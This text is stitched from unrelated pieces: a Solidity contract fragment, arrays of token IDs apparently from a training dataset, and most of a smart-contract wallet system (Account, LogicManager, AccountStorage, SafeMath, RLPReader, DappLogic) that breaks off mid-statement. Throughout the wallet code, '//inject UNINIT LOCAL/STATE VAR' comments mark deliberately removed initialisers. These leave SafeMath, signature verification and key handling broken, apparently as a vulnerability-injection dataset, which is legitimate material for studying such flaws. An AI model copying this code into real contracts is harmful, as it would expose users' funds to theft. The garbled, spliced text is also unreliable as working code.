} // Semi uinversal call function for unforseen future Ethart network contract types and use cases. String format: "<functionName>(address,address,uint256,uint256,bool,string,bytes32)" function callContractFunctionByAddress(address _contract, string functionNameAndTypes, address _address1, address _address2, uint256 _value1, uint256 _value2, bool _bool, string _string, bytes32 _bytes32) onlyBy (owner) { if(!_contract.call(bytes4(sha3(functionNameAndTypes)),_address1, _address2, _value1, _value2, _bool, _string, _bytes32)) {throw;} } }
Register of all approved factory contracts
mapping (address => bool) public approvedFactories;
2,034,356
[ 1, 3996, 434, 777, 20412, 3272, 20092, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 6770, 261, 2867, 516, 1426, 13, 1071, 20412, 19271, 31, 9506, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2020-08-26 */ pragma solidity ^0.5.4; contract Account { // The implementation of the proxy address public implementation; // Logic manager address public manager; // The enabled static calls mapping (bytes4 => address) public enabled; event EnabledStaticCall(address indexed module, bytes4 indexed method); event Invoked(address indexed module, address indexed target, uint indexed value, bytes data); event Received(uint indexed value, address indexed sender, bytes data); event AccountInit(address indexed account); event ManagerChanged(address indexed mgr); modifier allowAuthorizedLogicContractsCallsOnly { require(LogicManager(manager).isAuthorized(msg.sender), "not an authorized logic"); _; } /** * @dev better to create and init account through AccountCreator.createAccount, which avoids race condition on Account.init */ function init(address _manager, address _accountStorage, address[] calldata _logics, address[] calldata _keys, address[] calldata _backups) external { require(manager == address(0), "Account: account already initialized"); require(_manager != address(0) && _accountStorage != address(0), "Account: address is null"); manager = _manager; for (uint i ; i < _logics.length; i++) { //inject UNINIT LOCAL/STATE VAR address logic ; //inject UNINIT LOCAL/STATE VAR require(LogicManager(manager).isAuthorized(logic), "must be authorized logic"); BaseLogic(logic).initAccount(this); } AccountStorage(_accountStorage).initAccount(this, _keys, _backups); emit AccountInit(address(this)); } /** * @dev Account calls an external target contract. * @param _target The target contract address. * @param _value ETH value of the call. * @param _data data of the call. */ function invoke(address _target, uint _value, bytes calldata _data) external allowAuthorizedLogicContractsCallsOnly returns (bytes memory _res) { bool success; // solium-disable-next-line security/no-call-value (success, _res) = _target.call.value(_value)(_data); require(success, "call to target failed"); emit Invoked(msg.sender, _target, _value, _data); } /** * @dev Enables a static method by specifying the target module to which the call must be delegated. * @param _module The target module. * @param _method The static method signature. */ function enableStaticCall(address _module, bytes4 _method) external allowAuthorizedLogicContractsCallsOnly { enabled[_method] = _module; emit EnabledStaticCall(_module, _method); } /** * @dev Reserved method to change account's manager. Normally it's unused. * Calling this method requires adding a new authorized logic. * @param _newMgr New logic manager. */ function changeManager(address _newMgr) external allowAuthorizedLogicContractsCallsOnly { require(_newMgr != address(0), "address cannot be null"); require(_newMgr != manager, "already changed"); manager = _newMgr; emit ManagerChanged(_newMgr); } /** * @dev This method makes it possible for the wallet to comply to interfaces expecting the wallet to * implement specific static methods. It delegates the static call to a target contract if the data corresponds * to an enabled method, or logs the call otherwise. */ function() external payable { if(msg.data.length > 0) { address logic ; //inject UNINIT LOCAL/STATE VAR if(logic == address(0)) { emit Received(msg.value, msg.sender, msg.data); } else { require(LogicManager(manager).isAuthorized(logic), "must be an authorized logic for static call"); // solium-disable-next-line security/no-inline-assembly assembly { calldatacopy(0, 0, calldatasize()) let result := staticcall(gas, logic, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) switch result case 0 {revert(0, returndatasize())} default {return (0, returndatasize())} } } } } } contract Owned { // The owner address public owner; event OwnerChanged(address indexed _newOwner); /** * @dev Throws if the sender is not the owner. */ modifier onlyOwner { require(msg.sender == owner, "Must be owner"); _; } constructor() public { owner = msg.sender; } /** * @dev Lets the owner transfer ownership of the contract to a new owner. * @param _newOwner The new owner. */ function changeOwner(address _newOwner) external onlyOwner { require(_newOwner != address(0), "Address must not be null"); owner = _newOwner; emit OwnerChanged(_newOwner); } } contract LogicManager is Owned { event UpdateLogicSubmitted(address indexed logic, bool value); event UpdateLogicCancelled(address indexed logic); event UpdateLogicDone(address indexed logic, bool value); struct pending { bool value; //True: enable a new logic; False: disable an old logic. uint dueTime; //due time of a pending logic } // The authorized logic modules mapping (address => bool) public authorized; /* array index 0: AccountLogic address 1: TransferLogic address 2: DualsigsLogic address 3: DappLogic address 4: ... */ address[] public authorizedLogics; // updated logics and their due time of becoming effective mapping (address => pending) public pendingLogics; struct pendingTime { uint curPendingTime; //current pending time uint nextPendingTime; //new pending time uint dueTime; //due time of new pending time } pendingTime public pt; // how many authorized logics uint public logicCount; constructor(address[] memory _initialLogics, uint256 _pendingTime) public { for (uint i ; i < _initialLogics.length; i++) { //inject UNINIT LOCAL/STATE VAR address logic ; //inject UNINIT LOCAL/STATE VAR authorized[logic] = true; logicCount += 1; } authorizedLogics = _initialLogics; pt.curPendingTime = _pendingTime; pt.nextPendingTime = _pendingTime; pt.dueTime = now; } /** * @dev Submit a new pending time. Called only by owner. * @param _pendingTime The new pending time. */ function submitUpdatePendingTime(uint _pendingTime) external onlyOwner { pt.nextPendingTime = _pendingTime; pt.dueTime = pt.curPendingTime + now; } /** * @dev Trigger updating pending time. */ function triggerUpdatePendingTime() external { require(pt.dueTime <= now, "too early to trigger updatePendingTime"); pt.curPendingTime = pt.nextPendingTime; } /** * @dev check if a logic contract is authorized. */ function isAuthorized(address _logic) external view returns (bool) { return authorized[_logic]; } /** * @dev get the authorized logic array. */ function getAuthorizedLogics() external view returns (address[] memory) { return authorizedLogics; } /** * @dev Submit a new logic. Called only by owner. * @param _logic The new logic contract address. * @param _value True: enable a new logic; False: disable an old logic. */ function submitUpdate(address _logic, bool _value) external onlyOwner { pending storage p = pendingLogics[_logic]; p.value = _value; p.dueTime = now + pt.curPendingTime; emit UpdateLogicSubmitted(_logic, _value); } /** * @dev Cancel a logic update. Called only by owner. */ function cancelUpdate(address _logic) external onlyOwner { delete pendingLogics[_logic]; emit UpdateLogicCancelled(_logic); } /** * @dev Trigger updating a new logic. * @param _logic The logic contract address. */ function triggerUpdateLogic(address _logic) external { pending memory p = pendingLogics[_logic]; require(p.dueTime > 0, "pending logic not found"); require(p.dueTime <= now, "too early to trigger updateLogic"); updateLogic(_logic, p.value); delete pendingLogics[_logic]; } /** * @dev To update an existing logic, for example authorizedLogics[1], * first a new logic is added to the array end, then copied to authorizedLogics[1], * then the last logic is dropped, done. */ function updateLogic(address _logic, bool _value) internal { if (authorized[_logic] != _value) { if(_value) { logicCount += 1; authorized[_logic] = true; authorizedLogics.push(_logic); } else { logicCount -= 1; require(logicCount > 0, "must have at least one logic module"); delete authorized[_logic]; removeLogic(_logic); } emit UpdateLogicDone(_logic, _value); } } function removeLogic(address _logic) internal { uint len ; //inject UNINIT LOCAL/STATE VAR address lastLogic ; //inject UNINIT LOCAL/STATE VAR if (_logic != lastLogic) { for (uint i ; i < len; i++) { //inject UNINIT LOCAL/STATE VAR if (_logic == authorizedLogics[i]) { authorizedLogics[i] = lastLogic; break; } } } authorizedLogics.length--; } } contract AccountStorage { modifier allowAccountCallsOnly(Account _account) { require(msg.sender == address(_account), "caller must be account"); _; } modifier allowAuthorizedLogicContractsCallsOnly(address payable _account) { require(LogicManager(Account(_account).manager()).isAuthorized(msg.sender), "not an authorized logic"); _; } struct KeyItem { address pubKey; uint256 status; } struct BackupAccount { address backup; uint256 effectiveDate;//means not effective until this timestamp uint256 expiryDate;//means effective until this timestamp } struct DelayItem { bytes32 hash; uint256 dueTime; } struct Proposal { bytes32 hash; address[] approval; } // account => quantity of operation keys (index >= 1) mapping (address => uint256) operationKeyCount; // account => index => KeyItem mapping (address => mapping(uint256 => KeyItem)) keyData; // account => index => backup account mapping (address => mapping(uint256 => BackupAccount)) backupData; /* account => actionId => DelayItem delayData applies to these 4 actions: changeAdminKey, changeAllOperationKeys, unfreeze, changeAdminKeyByBackup */ mapping (address => mapping(bytes4 => DelayItem)) delayData; // client account => proposer account => proposed actionId => Proposal mapping (address => mapping(address => mapping(bytes4 => Proposal))) proposalData; // *************** keyCount ********************** // function getOperationKeyCount(address _account) external view returns(uint256) { return operationKeyCount[_account]; } function increaseKeyCount(address payable _account) external allowAuthorizedLogicContractsCallsOnly(_account) { operationKeyCount[_account] = operationKeyCount[_account] + 1; } // *************** keyData ********************** // function getKeyData(address _account, uint256 _index) public view returns(address) { KeyItem memory item = keyData[_account][_index]; return item.pubKey; } function setKeyData(address payable _account, uint256 _index, address _key) external allowAuthorizedLogicContractsCallsOnly(_account) { require(_key != address(0), "invalid _key value"); KeyItem storage item = keyData[_account][_index]; item.pubKey = _key; } // *************** keyStatus ********************** // function getKeyStatus(address _account, uint256 _index) external view returns(uint256) { KeyItem memory item = keyData[_account][_index]; return item.status; } function setKeyStatus(address payable _account, uint256 _index, uint256 _status) external allowAuthorizedLogicContractsCallsOnly(_account) { KeyItem storage item = keyData[_account][_index]; item.status = _status; } // *************** backupData ********************** // function getBackupAddress(address _account, uint256 _index) external view returns(address) { BackupAccount memory b = backupData[_account][_index]; return b.backup; } function getBackupEffectiveDate(address _account, uint256 _index) external view returns(uint256) { BackupAccount memory b = backupData[_account][_index]; return b.effectiveDate; } function getBackupExpiryDate(address _account, uint256 _index) external view returns(uint256) { BackupAccount memory b = backupData[_account][_index]; return b.expiryDate; } function setBackup(address payable _account, uint256 _index, address _backup, uint256 _effective, uint256 _expiry) external allowAuthorizedLogicContractsCallsOnly(_account) { BackupAccount storage b = backupData[_account][_index]; b.backup = _backup; b.effectiveDate = _effective; b.expiryDate = _expiry; } function setBackupExpiryDate(address payable _account, uint256 _index, uint256 _expiry) external allowAuthorizedLogicContractsCallsOnly(_account) { BackupAccount storage b = backupData[_account][_index]; b.expiryDate = _expiry; } function clearBackupData(address payable _account, uint256 _index) external allowAuthorizedLogicContractsCallsOnly(_account) { delete backupData[_account][_index]; } // *************** delayData ********************** // function getDelayDataHash(address payable _account, bytes4 _actionId) external view returns(bytes32) { DelayItem memory item = delayData[_account][_actionId]; return item.hash; } function getDelayDataDueTime(address payable _account, bytes4 _actionId) external view returns(uint256) { DelayItem memory item = delayData[_account][_actionId]; return item.dueTime; } function setDelayData(address payable _account, bytes4 _actionId, bytes32 _hash, uint256 _dueTime) external allowAuthorizedLogicContractsCallsOnly(_account) { DelayItem storage item = delayData[_account][_actionId]; item.hash = _hash; item.dueTime = _dueTime; } function clearDelayData(address payable _account, bytes4 _actionId) external allowAuthorizedLogicContractsCallsOnly(_account) { delete delayData[_account][_actionId]; } // *************** proposalData ********************** // function getProposalDataHash(address _client, address _proposer, bytes4 _actionId) external view returns(bytes32) { Proposal memory p = proposalData[_client][_proposer][_actionId]; return p.hash; } function getProposalDataApproval(address _client, address _proposer, bytes4 _actionId) external view returns(address[] memory) { Proposal memory p = proposalData[_client][_proposer][_actionId]; return p.approval; } function setProposalData(address payable _client, address _proposer, bytes4 _actionId, bytes32 _hash, address _approvedBackup) external allowAuthorizedLogicContractsCallsOnly(_client) { Proposal storage p = proposalData[_client][_proposer][_actionId]; if (p.hash > 0) { if (p.hash == _hash) { for (uint256 i ; i < p.approval.length; i++) { //inject UNINIT LOCAL/STATE VAR require(p.approval[i] != _approvedBackup, "backup already exists"); } p.approval.push(_approvedBackup); } else { p.hash = _hash; p.approval.length = 0; } } else { p.hash = _hash; p.approval.push(_approvedBackup); } } function clearProposalData(address payable _client, address _proposer, bytes4 _actionId) external allowAuthorizedLogicContractsCallsOnly(_client) { delete proposalData[_client][_proposer][_actionId]; } // *************** init ********************** // /** * @dev Write account data into storage. * @param _account The Account. * @param _keys The initial keys. * @param _backups The initial backups. */ function initAccount(Account _account, address[] calldata _keys, address[] calldata _backups) external allowAccountCallsOnly(_account) { require(getKeyData(address(_account), 0) == address(0), "AccountStorage: account already initialized!"); require(_keys.length > 0, "empty keys array"); operationKeyCount[address(_account)] = _keys.length - 1; for (uint256 index ; index < _keys.length; index++) { //inject UNINIT LOCAL/STATE VAR address _key ; //inject UNINIT LOCAL/STATE VAR require(_key != address(0), "_key cannot be 0x0"); KeyItem storage item = keyData[address(_account)][index]; item.pubKey = _key; item.status = 0; } // avoid backup duplication if _backups.length > 1 // normally won't check duplication, in most cases only one initial backup when initialization if (_backups.length > 1) { address[] memory bkps = _backups; for (uint256 i ; i < _backups.length; i++) { //inject UNINIT LOCAL/STATE VAR for (uint256 j ; j < i; j++) { //inject UNINIT LOCAL/STATE VAR require(bkps[j] != _backups[i], "duplicate backup"); } } } for (uint256 index ; index < _backups.length; index++) { //inject UNINIT LOCAL/STATE VAR address _backup ; //inject UNINIT LOCAL/STATE VAR require(_backup != address(0), "backup cannot be 0x0"); require(_backup != address(_account), "cannot be backup of oneself"); backupData[address(_account)][index] = BackupAccount(_backup, now, uint256(-1)); } } } /* The MIT License (MIT) Copyright (c) 2016 Smart Contract Solutions, Inc. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c ; //inject UNINIT LOCAL/STATE VAR require(c / a == b); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c ; //inject UNINIT LOCAL/STATE VAR // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c ; //inject UNINIT LOCAL/STATE VAR return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c ; //inject UNINIT LOCAL/STATE VAR require(c >= a); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } /** * @dev Returns ceil(a / b). */ function ceil(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c ; //inject UNINIT LOCAL/STATE VAR if(a % b == 0) { return c; } else { return c + 1; } } } contract BaseLogic { bytes constant internal SIGN_HASH_PREFIX = "\x19Ethereum Signed Message:\n32"; mapping (address => uint256) keyNonce; AccountStorage public accountStorage; modifier allowSelfCallsOnly() { require (msg.sender == address(this), "only internal call is allowed"); _; } modifier allowAccountCallsOnly(Account _account) { require(msg.sender == address(_account), "caller must be account"); _; } // *************** Constructor ********************** // constructor(AccountStorage _accountStorage) public { accountStorage = _accountStorage; } // *************** Initialization ********************* // function initAccount(Account _account) external allowAccountCallsOnly(_account){ } // *************** Getter ********************** // function getKeyNonce(address _key) external view returns(uint256) { return keyNonce[_key]; } // *************** Signature ********************** // function getSignHash(bytes memory _data, uint256 _nonce) internal view returns(bytes32) { // use EIP 191 // 0x1900 + this logic address + data + nonce of signing key bytes32 msgHash ; //inject UNINIT LOCAL/STATE VAR bytes32 prefixedHash ; //inject UNINIT LOCAL/STATE VAR return prefixedHash; } function verifySig(address _signingKey, bytes memory _signature, bytes32 _signHash) internal pure { require(_signingKey != address(0), "invalid signing key"); address recoveredAddr ; //inject UNINIT LOCAL/STATE VAR require(recoveredAddr == _signingKey, "signature verification failed"); } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * NOTE: This call _does not revert_ if the signature is invalid, or * if the signer is otherwise unable to be retrieved. In those scenarios, * the zero address is returned. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise) * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Check the signature length if (signature.length != 65) { return (address(0)); } // Divide the signature in r, s and v variables bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n 1 2 + 1, and for v in (282): v 1 {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return address(0); } if (v != 27 && v != 28) { return address(0); } // If the signature is valid (and not malleable), return the signer address return ecrecover(hash, v, r, s); } /* get signer address from data * @dev Gets an address encoded as the first argument in transaction data * @param b The byte array that should have an address as first argument * @returns a The address retrieved from the array */ function getSignerAddress(bytes memory _b) internal pure returns (address _a) { require(_b.length >= 36, "invalid bytes"); // solium-disable-next-line security/no-inline-assembly assembly { let mask := 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF _a := and(mask, mload(add(_b, 36))) // b = {length:32}{method sig:4}{address:32}{...} // 36 is the offset of the first parameter of the data, if encoded properly. // 32 bytes for the length of the bytes array, and the first 4 bytes for the function signature. // 32 bytes is the length of the bytes array!!!! } } // get method id, first 4 bytes of data function getMethodId(bytes memory _b) internal pure returns (bytes4 _a) { require(_b.length >= 4, "invalid data"); // solium-disable-next-line security/no-inline-assembly assembly { // 32 bytes is the length of the bytes array _a := mload(add(_b, 32)) } } function checkKeyStatus(address _account, uint256 _index) internal view { // check operation key status if (_index > 0) { require(accountStorage.getKeyStatus(_account, _index) != 1, "frozen key"); } } // _nonce is timestamp in microsecond(1/1000000 second) function checkAndUpdateNonce(address _key, uint256 _nonce) internal { require(_nonce > keyNonce[_key], "nonce too small"); require(SafeMath.div(_nonce, 1000000) <= now + 86400, "nonce too big"); // 86400=24*3600 seconds keyNonce[_key] = _nonce; } } //https://github.com/hamdiallam/Solidity-RLP/blob/master/contracts/RLPReader.sol library RLPReader { uint8 constant STRING_SHORT_START = 0x80; uint8 constant STRING_LONG_START = 0xb8; uint8 constant LIST_SHORT_START = 0xc0; uint8 constant LIST_LONG_START = 0xf8; uint8 constant WORD_SIZE = 32; struct RLPItem { uint len; uint memPtr; } struct Iterator { RLPItem item; // Item that's being iterated over. uint nextPtr; // Position of the next item in the list. } /* * @dev Returns the next element in the iteration. Reverts if it has not next element. * @param self The iterator. * @return The next element in the iteration. */ function next(Iterator memory self) internal pure returns (RLPItem memory) { require(hasNext(self)); uint ptr ; //inject UNINIT LOCAL/STATE VAR uint itemLength ; //inject UNINIT LOCAL/STATE VAR self.nextPtr = ptr + itemLength; return RLPItem(itemLength, ptr); } /* * @dev Returns true if the iteration has more elements. * @param self The iterator. * @return true if the iteration has more elements. */ function hasNext(Iterator memory self) internal pure returns (bool) { RLPItem memory item = self.item; return self.nextPtr < item.memPtr + item.len; } /* * @param item RLP encoded bytes */ function toRlpItem(bytes memory item) internal pure returns (RLPItem memory) { uint memPtr; assembly { memPtr := add(item, 0x20) } return RLPItem(item.length, memPtr); } /* * @dev Create an iterator. Reverts if item is not a list. * @param self The RLP item. * @return An 'Iterator' over the item. */ function iterator(RLPItem memory self) internal pure returns (Iterator memory) { require(isList(self)); uint ptr ; //inject UNINIT LOCAL/STATE VAR return Iterator(self, ptr); } /* * @param item RLP encoded bytes */ function rlpLen(RLPItem memory item) internal pure returns (uint) { return item.len; } /* * @param item RLP encoded bytes */ function payloadLen(RLPItem memory item) internal pure returns (uint) { return item.len - _payloadOffset(item.memPtr); } /* * @param item RLP encoded list in bytes */ function toList(RLPItem memory item) internal pure returns (RLPItem[] memory) { require(isList(item)); uint items ; //inject UNINIT LOCAL/STATE VAR RLPItem[] memory result = new RLPItem[](items); uint memPtr ; //inject UNINIT LOCAL/STATE VAR uint dataLen; for (uint i ; i < items; i++) { //inject UNINIT LOCAL/STATE VAR dataLen = _itemLength(memPtr); result[i] = RLPItem(dataLen, memPtr); memPtr = memPtr + dataLen; } return result; } // @return indicator whether encoded payload is a list. negate this function call for isData. function isList(RLPItem memory item) internal pure returns (bool) { if (item.len == 0) return false; uint8 byte0; uint memPtr ; //inject UNINIT LOCAL/STATE VAR assembly { byte0 := byte(0, mload(memPtr)) } if (byte0 < LIST_SHORT_START) return false; return true; } /** RLPItem conversions into data types **/ // @returns raw rlp encoding in bytes function toRlpBytes(RLPItem memory item) internal pure returns (bytes memory) { bytes memory result = new bytes(item.len); if (result.length == 0) return result; uint ptr; assembly { ptr := add(0x20, result) } copy(item.memPtr, ptr, item.len); return result; } // any non-zero byte is considered true function toBoolean(RLPItem memory item) internal pure returns (bool) { require(item.len == 1); uint result; uint memPtr ; //inject UNINIT LOCAL/STATE VAR assembly { result := byte(0, mload(memPtr)) } return result == 0 ? false : true; } function toAddress(RLPItem memory item) internal pure returns (address) { // 1 byte for the length prefix require(item.len == 21); return address(toUint(item)); } function toUint(RLPItem memory item) internal pure returns (uint) { require(item.len > 0 && item.len <= 33); uint offset ; //inject UNINIT LOCAL/STATE VAR uint len ; //inject UNINIT LOCAL/STATE VAR uint result; uint memPtr ; //inject UNINIT LOCAL/STATE VAR assembly { result := mload(memPtr) // shfit to the correct location if neccesary if lt(len, 32) { result := div(result, exp(256, sub(32, len))) } } return result; } // enforces 32 byte length function toUintStrict(RLPItem memory item) internal pure returns (uint) { // one byte prefix require(item.len == 33); uint result; uint memPtr ; //inject UNINIT LOCAL/STATE VAR assembly { result := mload(memPtr) } return result; } function toBytes(RLPItem memory item) internal pure returns (bytes memory) { require(item.len > 0); uint offset ; //inject UNINIT LOCAL/STATE VAR uint len ; // data length //inject UNINIT LOCAL/STATE VAR bytes memory result = new bytes(len); uint destPtr; assembly { destPtr := add(0x20, result) } copy(item.memPtr + offset, destPtr, len); return result; } /* * Private Helpers */ // @return number of payload items inside an encoded list. function numItems(RLPItem memory item) private pure returns (uint) { if (item.len == 0) return 0; uint count ; //inject UNINIT LOCAL/STATE VAR uint currPtr ; //inject UNINIT LOCAL/STATE VAR uint endPtr ; //inject UNINIT LOCAL/STATE VAR while (currPtr < endPtr) { currPtr = currPtr + _itemLength(currPtr); // skip over an item count++; } return count; } // @return entire rlp item byte length function _itemLength(uint memPtr) private pure returns (uint) { uint itemLen; uint byte0; assembly { byte0 := byte(0, mload(memPtr)) } if (byte0 < STRING_SHORT_START) itemLen = 1; else if (byte0 < STRING_LONG_START) itemLen = byte0 - STRING_SHORT_START + 1; else if (byte0 < LIST_SHORT_START) { assembly { let byteLen := sub(byte0, 0xb7) // # of bytes the actual length is memPtr := add(memPtr, 1) // skip over the first byte /* 32 byte word size */ let dataLen := div(mload(memPtr), exp(256, sub(32, byteLen))) // right shifting to get the len itemLen := add(dataLen, add(byteLen, 1)) } } else if (byte0 < LIST_LONG_START) { itemLen = byte0 - LIST_SHORT_START + 1; } else { assembly { let byteLen := sub(byte0, 0xf7) memPtr := add(memPtr, 1) let dataLen := div(mload(memPtr), exp(256, sub(32, byteLen))) // right shifting to the correct length itemLen := add(dataLen, add(byteLen, 1)) } } return itemLen; } // @return number of bytes until the data function _payloadOffset(uint memPtr) private pure returns (uint) { uint byte0; assembly { byte0 := byte(0, mload(memPtr)) } if (byte0 < STRING_SHORT_START) return 0; else if (byte0 < STRING_LONG_START || (byte0 >= LIST_SHORT_START && byte0 < LIST_LONG_START)) return 1; else if (byte0 < LIST_SHORT_START) // being explicit return byte0 - (STRING_LONG_START - 1) + 1; else return byte0 - (LIST_LONG_START - 1) + 1; } /* * @param src Pointer to source * @param dest Pointer to destination * @param len Amount of memory to copy from the source */ function copy(uint src, uint dest, uint len) private pure { if (len == 0) return; // copy as many word sizes as possible for (; len >= WORD_SIZE; len -= WORD_SIZE) { assembly { mstore(dest, mload(src)) } src += WORD_SIZE; dest += WORD_SIZE; } // left over bytes. Mask is used to remove unwanted bytes from the word uint mask ; //inject UNINIT LOCAL/STATE VAR assembly { let srcpart := and(mload(src), not(mask)) // zero out src let destpart := and(mload(dest), mask) // retrieve the bytes mstore(dest, or(destpart, srcpart)) } } } contract DappLogic is BaseLogic { using RLPReader for RLPReader.RLPItem; using RLPReader for bytes; /* index 0: admin key 1: asset(transfer) 2: adding 3: reserved(dapp) 4: assist */ uint constant internal DAPP_KEY_INDEX = 3; // *************** Events *************************** // event DappLogicEntered(bytes data, uint256 indexed nonce); // *************** Constructor ********************** // constructor(AccountStorage _accountStorage) BaseLogic(_accountStorage) public { } // *************** action entry ********************* // /** * @dev Entry method of DappLogic. * DappLogic has 2 actions called from 'enter': callContract, callMultiContract */ function enter(bytes calldata _data, bytes calldata _signature, uint256 _nonce) external { address account ; //inject UNINIT LOCAL/STATE VAR checkKeyStatus(account, DAPP_KEY_INDEX); address dappKey ; //inject UNINIT LOCAL/STATE VAR checkAndUpdateNonce(dappKey, _nonce); bytes32 signHash ; //inject UNINIT LOCAL/STATE VAR verifySig(dappKey, _signature, signHash); // solium-disable-next-line security/no-low-level-calls (bool success,) = 